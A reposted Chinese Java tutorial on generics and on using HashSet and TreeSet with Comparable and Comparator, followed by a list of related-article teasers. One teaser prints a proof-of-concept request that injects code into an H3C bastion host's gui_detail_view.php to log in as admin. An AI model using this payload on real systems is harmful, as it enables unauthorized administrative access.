JAVA高级教程Java 泛型(10)

news2024/11/17 7:34:05

目录

  • 三、泛型的使用
    • 泛型类
    • 泛型接口
    • 泛型方法
  • 四、泛型在集合中的使用
    • 1、使用泛型来创建set
    • 2、使用泛型来创建HashSet
    • 3、使用equals,hashCode的使用
      • Person 类
      • HashSet的使用+泛型
      • TreeSet的使用+泛型
      • comparator实现定制比较(比较器)

三、泛型的使用

  • 泛型类
  • 语法 类名
  • T表示类型站位符,表示一种引用数据类型 用啥字母都行
  • 泛型只能创建变量,不能实例化对象
    好处
    1、提高代码重复性
    2、防止类型转换异常

泛型类

package MyGeneric;

/**
 * 泛型类
 * 语法 类名<T>
 * T表示类型站位符,表示一种引用数据类型,用啥字母都行
 * 泛型只能创建变量,不能实例化对象
 * @param <T>
 */

public class Generic<T> {
    //使用泛型T
    //创建变量
    T t;

    //泛型作为方法的参数
    public void show(T t){
        System.out.println(t);
    }

    //泛型作为方法的返回值
    public T getT(){
        return t;
    }


}





# 泛型类的使用
package MyGeneric;

public class TestGeneric {
    public static void main(String[] args) {
        System.out.println("==========类型为Generic<String>==========");
        Generic<String> generic=new Generic<>();
        generic.t="hello";
        generic.show("高考加油");

        String string=generic.getT();
        System.out.println(string);

        System.out.println("==========类型为Generic<Integer>==========");
        Generic<Integer> intgeneric=new Generic<>();
        intgeneric.t=100;
        intgeneric.show(200);
        Integer integer=intgeneric.getT();

    }
}

泛型接口

定义接口

package MyGeneric;

/**
 * 泛型类
 * 语法 类名<T>
 * 不能使用泛型静态常量
 */

public interface GenericInterface<T> {
    String name="张三";
    T server(T t);
}

实现类
GenericInterfaceImp2创建对象的时候来确定类型,这样更加灵活

package MyGeneric;

public class GenericInterfaceImp2<T> implements GenericInterface<T> {

    @Override
    public T server(T t) {
        System.out.println(t);
        return null;
    }
}

使用

package MyGeneric;

public class TestGenericInterfaceImps {
    public static void main(String[] args) {
        
        GenericInterfaceImp2<Integer> impl2=new GenericInterfaceImp2<>();
        impl2.server(1000); //什么类型都可以添加

    }
}

泛型方法

package MyGeneric;

/**
 * 泛型方法
 * 语法: <T> 返回值类型
 */

public class GenericMethod {

    public <T> void show(T t){
        System.out.println("泛型方法"+t);
    }
}

泛型方法的使用

package MyGeneric;
public class TestGenericMethod {
    public static void main(String[] args) {
        GenericMethod genericMethod = new GenericMethod();
        genericMethod.show("中国");
        genericMethod.show(1);
        genericMethod.show(3.14);
    }
}

四、泛型在集合中的使用

这里使用set来举例

1、使用泛型来创建set

package Set01;

import java.util.HashSet;
import java.util.Iterator;
import java.util.Set;

/**
 * set接口的使用
 * 特点:无序。没有下标,不能重复
 */

public class Demo01_set {

    public static void main(String[] args) {
        //创建集合
        Set<String> set=new HashSet<>();

        //添加数据
        set.add("1");
        set.add("2");
        set.add("3");

        //移除数据
        set.remove("1");
        System.out.println(set.toString());


        System.out.println("数据的个数"+set.size());
        System.out.println(set.toString());


        //遍历数据
        System.out.println("====================3.2 增强for循环=====================");
        for(String i:set){
            System.out.println(i);
        }

        System.out.println("====================3.2 Iterator迭代器=====================");
        //3.2 Iterator迭代器
        Iterator<String> it=set.iterator();
        while (it.hasNext()){
            //不能使用Collection删除
            String s=(String)it.next();
            System.out.println(s);
            //it.remove();
        }
        //* 4、判断
        System.out.println(set.contains("张三"));
        System.out.println(set.isEmpty());
    }
}

2、使用泛型来创建HashSet

package Set01;

import java.util.HashSet;
import java.util.Iterator;
import java.util.Set;

public class Demo02_HashSet {
    public static void main(String[] args) {
        //创建集合
        HashSet<String> set=new HashSet<>();

        //添加数据
        set.add("1");
        set.add("2");
        set.add("3");

        //移除数据
        set.remove("1");
        System.out.println(set.toString());


        System.out.println("数据的个数"+set.size());
        System.out.println(set.toString());


        //遍历数据
        System.out.println("====================3.2 增强for循环=====================");
        for(String i:set){
            System.out.println(i);
        }

        System.out.println("====================3.2 Iterator迭代器=====================");
        //3.2 Iterator迭代器
        Iterator<String> it=set.iterator();
        while (it.hasNext()){
            //不能使用Collection删除
            String s=(String)it.next();
            System.out.println(s);
            //it.remove();
        }
        //* 4、判断
        System.out.println(set.contains("张三"));
        System.out.println(set.isEmpty());
    }
}

3、使用equals,hashCode的使用

Person 类

package Set01;

import java.util.Objects;

public class Person implements Comparable<Person>{
    private int age;
    private String name;

    public Person() {
    }

    public Person(String name,int age) {
        this.age = age;
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    @Override
    public String toString() {
        return "Person{" +
                "age=" + age +
                ", name='" + name + '\'' +
                '}';
    }

    @Override
    public boolean equals(Object o) {
        if (this == o) return true;
        if (o == null || getClass() != o.getClass()) return false;
        Person person = (Person) o;
        return age == person.age && Objects.equals(name, person.name);
    }

    @Override
    public int hashCode() {
        return Objects.hash(age, name);
    }

    //先按性比,在按年龄比
    @Override
    public int compareTo(Person o) {
        int n1=this.getName().compareTo(o.getName());
        int n2=this.getAge()-o.getAge();
        return n1==0?n2:n1;
    }
}

HashSet的使用+泛型

package Set01;

import java.util.HashSet;

/**
 *
 * 存储过程
 * 1、根据hascode计算保存的位置,如果为空,则直接保存,不为空执行第二步
 * 2、在执行equal方法,如果equals方法为true,则认为重复,否则,形成链表
 */

public class Demo03_HashSet {

    public static void main(String[] args) {
        HashSet<Person> peoples=new HashSet<>();
        Person p1=new Person("刘德华",20);
        Person p2=new Person("李小龙",22);
        Person p3=new Person("彭于晏",24);

        peoples.add(p1);
        peoples.add(p2);
        peoples.add(p3);

        //在person中重写hascode和equals方法后,不能添加Person("彭于晏",24),应为重复了
        peoples.add(new Person("彭于晏",24));

        //如果没重写equals是不能删除的
        peoples.remove(new Person("刘德华",20));

        System.out.println("数据的个数"+peoples.size());
        System.out.println(peoples.toString());
    }
}

TreeSet的使用+泛型

package Set01;

import java.util.HashSet;
import java.util.TreeSet;

/**
 * 元素必须要实现 comparable接口    comparable方法返回为0,认为是重复元素
 */
public class Demo03_TreeSet {
    public static void main(String[] args) {


        TreeSet<Person> peoples=new TreeSet<>();
        Person p1=new Person("刘德华",20);
        Person p2=new Person("李小龙",22);
        Person p3=new Person("彭于晏",24);

        peoples.add(p1);
        peoples.add(p2);
        peoples.add(p3);


        System.out.println("数据的个数"+peoples.size());
        System.out.println(peoples.toString());
    }
}

comparator实现定制比较(比较器)

package Set01;

import java.util.Comparator;
import java.util.TreeSet;

/**
 * comparator实现定制比较(比较器)
 */
public class Demo04_TreeSet {
    public static void main(String[] args) {
        //创建集合,并指定比较规则
        TreeSet<Person> peoples=new TreeSet<>(new Comparator<Person>() {
            //两个对象进行比较
            @Override
            public int compare(Person o1, Person o2) {
                int n1=o1.getAge()-o2.getAge();
                int n2=o1.getName().compareTo(o2.getName());
                return n1==0?n2:n1;
            }
        });
		Person p3=new Person("彭于晏",24);
        Person p1=new Person("刘德华",20);
        Person p2=new Person("李小龙",22);
        

        peoples.add(p1);
        peoples.add(p2);
        peoples.add(p3);


        System.out.println("数据的个数"+peoples.size());
        System.out.println(peoples.toString());
    }

}

可以看出,年龄从小到大排列

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1121391.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

散列表:如何打造一个工业级水平的散列表?

文章来源于极客时间前google工程师−王争专栏。 散列表的查询效率并不能笼统地说成是O(1)。它跟散列函数、装载因子、散列冲突等都有关系。如果散列函数设计得不好&#xff0c;或者装载因子过高&#xff0c;都可能导致散列冲突发生的概率升高&#xff0c;查询效率下降。 极端情…

在ESP32上使用Arduino(Arduino as an ESP-IDF component)

目录 前言 原理说明 操作步骤 下载esp-arduino 安装esp-arduino 工程里配置arduino 1、勾选该选项&#xff0c;工程将作为一个标准的arduino程序工作 2、不勾选该选型&#xff0c;工程将作为一个传统的嵌入式项目开发&#xff0c; 前言 Arduino拥有丰富的各类库&#…

一款WPF开发的网易云音乐客户端 - DMSkin-CloudMusic

前言 今天推荐一款基于DMSkin框架开发的网易云音乐播放器&#xff1a;DMSkin-CloudMusic。 DMSkin 框架介绍 DMSkin是一个开源的WPF样式UI框架&#xff0c;可以帮助开发者快速创建漂亮的用户界面。 下载体验 下载地址&#xff1a;https://github.com/944095635/DMSkin-Clou…

如何使用vim粘贴鼠标复制的内容

文章目录 一、使用步骤1.找到要编辑的配置文件2.找到目标文件3.再回到vim编辑器 一、使用步骤 1.找到要编辑的配置文件 用sudo vim /etc/apt/sources.list编辑软件源配置文件 sudo vim /etc/apt/sources.listvim 在默认的情况下当鼠标选中的时候进入的 Visual 模式&#xff…

加法器:如何像搭乐高一样搭电路(上)?

目录 背景 异或门和半加器 全加器 小结 补充阅读 背景 上一讲&#xff0c;我们看到了如何通过电路&#xff0c;在计算机硬件层面设计最基本的单元&#xff0c;门电路。我给你看的门电路非常简单&#xff0c;只能做简单的 “与&#xff08;AND&#xff09;”“或&#xff…

UG\NX二次开发 获取用户默认设置中的绘图信息 UF_PLOT_ask_session_job_options

文章作者:里海 来源网站:《里海NX二次开发3000例专栏》 感谢粉丝订阅 感谢 m0_58724732 订阅本专栏,非常感谢。 简介 UG\NX二次开发 获取用户默认设置中的绘图信息 UF_PLOT_ask_session_job_options 效果 代码 #include "me.hp

window11安装Python环境

python环境安装 访问Python官网:https://www.python.org/ 点击downloads按钮&#xff0c;在下拉框中选择系统类型(windows/Mac OS/Linux等) 选择下载最新版本的Python cmd命令如果出现版本号以及>>>则表示安装成功 如果出现命令行中输入python出现如下错误 可能…

【SSA-RFR预测】基于麻雀算法优化随机森林回归预测研究(Matlab代码实现)

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清晰&#xff0c;为了方便读者。 ⛳️座右铭&a…

【JavaEE重点知识归纳】第11节:认识异常

目录 一&#xff1a;异常的概念和体系结构 1.概念 2.体系结构 3.异常分类 二&#xff1a;异常的处理 1.防御式编程 2.异常的抛出 3.异常的捕获 4.异常的处理流程 三&#xff1a;自定义异常 一&#xff1a;异常的概念和体系结构 1.概念 &#xff08;1&#xff09;在…

dy、ks最新版通用quic协议解决方案

短视频最新版通用quic协议解决方案 由于最新版的两款短视频都使用了quic协议&#xff0c;这就导致爬虫小伙伴在抓包的过程遇到不能抓包的问题&#xff0c;这里提供他们quic协议所有版本的通用解决方案&#xff0c;使他们不使用quic协议&#xff0c;直接通过Charles抓包。 由于…

仪器器材经营小程序商城的作用是什么

互联网发展下&#xff0c;数字化转型已经成为常态&#xff0c;仅依赖传统线下经营模式将很难再增长。 作为产品销售及客户维护度高的仪器器材行业&#xff0c;拥有自营商城平台是必要的&#xff0c;不仅可以解决以上难题&#xff0c;还利于打造自身品牌多渠道传播&#xff0c;…

css之Flex弹性布局(子项常见属性)

文章目录 &#x1f380;前言&#xff1a;本篇博客介绍弹性布局flex容器中子项的常见用法&#x1fa80;flex:子项目占得份数 &#xff08;划分不同子项的比例&#xff09;&#x1f387;align-self 控制单独一个子项在侧轴的排列方式&#x1f9f8;order属性定义子项的排列顺序 &a…

10.18~10.22数电第二次实验

频分复用 同一个时间共用一个频道&#xff0c;只不过频率不同&#xff0c;所以互不影响 时分复用 不同时间公用一个频道&#xff0c;轮流使用 时分复用&#xff08;TDM&#xff0c;Time-division multiplexing&#xff09;就是将提供给整个信道传输信息的时间划分成若干时间…

使用反射拼接SQL语句 和 使用 反射 + 注解 拼接SQL语句

以下知识本人都是用 Maven工程 总结的 1、使用反射拼接SQL语句 package com.csdn.anno; import java.io.IOException; import java.io.InputStream; import java.lang.reflect.Field; import java.util.Properties; public class AnnotationTest {public static void main(Str…

散列表:为什么散列表和链表经常会一起使用?

文章来源于极客时间前google工程师−王争专栏。 链表那一节&#xff0c;我们用链表来实现LRU缓存淘汰算法&#xff0c;但是链表实现的LRU时间复杂度是O(n)&#xff0c;可以通过散列表将时间复杂度降低为O(1) 跳表那一节&#xff0c;Redis的有序集合是使用跳表来实现的&#xf…

阿伐曲泊帕的合并用药方案【医游记】

&#xff08;图片来源于网络&#xff01;&#xff09; 阿伐曲泊帕是一种口服的促血小板生成素受体激动剂&#xff0c;用于治疗择期行诊断性操作或手术的慢性肝病相关血小板减少症的成年患者。本文将介绍阿伐曲泊帕的药理作用和药物相互作用。 药理作用 阿伐曲泊帕可以与人体…

H3C SecParh堡垒机 get_detail_view.php 任意用户登录漏洞

与齐治堡垒机出现的漏洞不能说毫不相关&#xff0c;只能说一模一样 POC验证的url为&#xff1a; /audit/gui_detail_view.php?token1&id%5C&uid%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&loginadmin成功获取admin权限 文笔生疏…

C语言笔试面试必刷题

&#x1f38a;【面经】专题正在持续更新中&#xff0c;内含C语言&#xff0c;数据结构&#xff0c;Linux&#xff0c;网络编程等✨&#xff0c;欢迎大家前往订阅本专题&#xff0c;获取更多详细信息哦&#x1f38f;&#x1f38f;&#x1f38f; &#x1fa94;本系列专栏 - ​​…

【LSTM-Attention】基于长短期记忆网络融合注意力机制的多变量时间序列预测研究(Matlab代码实现)

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清晰&#xff0c;为了方便读者。 ⛳️座右铭&a…

URV5使用指南

1. 下载软件 搜索这个地址下载软件 https://github.com/Anjok07/ultimatevocalremovergui/releases/download/v5.6/UVR_v5.6.0_setup.exe 我现在使用的是目前的最新版本5.6.0&#xff0c;后面肯定会出新版&#xff0c;但是流程大致类似。 2.安装软件 基本一直点next就可以&a…